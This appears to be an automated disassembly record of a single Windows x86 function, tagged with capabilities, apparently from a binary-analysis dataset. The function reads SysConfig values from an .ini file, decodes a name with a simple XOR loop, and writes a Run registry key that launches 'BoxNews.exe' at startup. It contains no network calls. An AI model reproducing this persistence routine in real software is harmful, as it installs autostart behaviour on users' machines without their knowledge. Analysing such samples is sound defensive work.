Function at 0x4031d0
Capabilities:
Persist via run registry key
Read .ini file
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4929d4
mov eax, dword fs:[0]
push eax
sub esp, 0x348
mov eax, dword [0x4c56f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x350]
push ecx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x34c], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403516
push 0x104
lea edx, [ebp - 0x27c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x27c]
mov eax, esi
push 0x5c
push eax
call fcn.0046f030
add esp, 8
test eax, eax
je 0x403271
push 0x5c
push esi
call fcn.0046f030
lea esi, [eax + 1]
push 0x5c
push esi
call fcn.0046f030
add esp, 0x10
test eax, eax
jne 0x403257
mov edi, dword [sym.imp.DuiLib.dll_public:_void___thiscall_DuiLib::CDuiString::constructor_char_const___int_]
push 0xffffffffffffffff
lea ecx, [ebp - 0x27c]
push ecx
lea ecx, [ebp - 0x304]
mov byte [esi], 0
call edi
mov dword [ebp - 4], 0
mov esi, dword [sym.imp.DuiLib.dll_public:_void___thiscall_DuiLib::CDuiString::Append_char_const__]
push 0x4a1b70
lea ecx, [ebp - 0x304]
call esi
mov ebx, dword [sym.imp.DuiLib.dll_public:_char_const____thiscall_DuiLib::CDuiString::GetData_void_const]
lea ecx, [ebp - 0x304]
call ebx
push eax
push 0x63
lea edx, [ebp - 0x178]
push edx
push str.BoxNews.exe
push str.RunSetup
push str.SysConfig
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x348]
call dword [sym.imp.DuiLib.dll_public:_void___thiscall_DuiLib::CDuiString::constructor_void_]
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x27c]
push ecx
lea edx, [ebp - 0x348]
push str.__s_s___mini
push edx
mov byte [ebp - 4], 1
call dword [sym.imp.DuiLib.dll_public:_int___cdecl_DuiLib::CDuiString::Format_char_const__]
add esp, 0x10
push 0xffffffffffffffff
push str.fmol
lea ecx, [ebp - 0x2c0]
call edi
push str._News
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 2
call esi
mov edi, dword [ebp - 0x34c]
add edi, 0x230
mov ecx, edi
call dword [sym.imp.DuiLib.dll_public:_char_const____thiscall_DuiLib::CDuiString::operator_char_const__void_const]
push eax
lea ecx, [ebp - 0x2c0]
call esi
cmp byte [ebp + 0xc], 0
je 0x4034ac
push 0x103
lea eax, [ebp - 0x113]
push 0
push eax
mov byte [ebp - 0x114], 0
call fcn.00475cb0
add esp, 0xc
lea ecx, [ebp - 0x304]
call ebx
push eax
push 0x104
lea ecx, [ebp - 0x114]
push ecx
push 0x4a1520
push str.RName2
push str.SysConfig
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x304]
call ebx
push eax
push 0
push str.enc2
push str.SysConfig
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x34c], eax
lea eax, [ecx + 1]
lea ecx, [ecx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4033c0
sub ecx, eax
je 0x4034ac
cmp dword [ebp - 0x34c], 0
je 0x403423
xor eax, eax
lea ecx, [ebp - 0x114]
cmp byte [ebp - 0x114], al
je 0x4033f8
xor byte [ecx], al
inc eax
inc ecx
cmp eax, 5
jne 0x4033f3
xor eax, eax
cmp byte [ecx], 0
jne 0x4033e8
push 0xffffffffffffffff
lea edx, [ebp - 0x114]
push edx
lea ecx, [ebp - 0x2c0]
call dword [sym.imp.DuiLib.dll_public:_void___thiscall_DuiLib::CDuiString::Assign_char_const___int_]
mov ecx, edi
call dword [sym.imp.DuiLib.dll_public:_char_const____thiscall_DuiLib::CDuiString::operator_char_const__void_const]
push eax
lea ecx, [ebp - 0x2c0]
call esi
jmp 0x4034ac
push 0xffffffffffffffff
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x2c0]
call dword [sym.imp.DuiLib.dll_public:_void___thiscall_DuiLib::CDuiString::Assign_char_const___int_]
mov ecx, edi
call dword [sym.imp.DuiLib.dll_public:_char_const____thiscall_DuiLib::CDuiString::operator_char_const__void_const]
push eax
lea ecx, [ebp - 0x2c0]
call esi
xor eax, eax
lea ecx, [ebp - 0x114]
cmp byte [ebp - 0x114], al
je 0x403470
lea esp, [esp]
xor byte [ecx], al
inc eax
inc ecx
cmp eax, 5
jne 0x40346b
xor eax, eax
cmp byte [ecx], 0
jne 0x403460
lea ecx, [ebp - 0x304]
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push eax
push 0x4a1c68
push str.enc2
push str.SysConfig
call esi
lea ecx, [ebp - 0x304]
call ebx
push eax
lea ecx, [ebp - 0x114]
push ecx
push str.RName2
push str.SysConfig
call esi
lea ecx, [ebp - 0x348]
call dword [sym.imp.DuiLib.dll_public:_int___thiscall_DuiLib::CDuiString::GetLength_void_const]
push eax
lea ecx, [ebp - 0x348]
call ebx
push eax
push 1
push 0
lea ecx, [ebp - 0x2c0]
call ebx
mov edx, dword [ebp - 0x350]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x350]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 1
mov esi, dword [sym.imp.DuiLib.dll_public:_void___thiscall_DuiLib::CDuiString::destructor_void_]
lea ecx, [ebp - 0x2c0]
call esi
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0
call esi
lea ecx, [ebp - 0x304]
mov dword [ebp - 4], 0xffffffff
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046eadd
mov esp, ebp
pop ebp
ret 8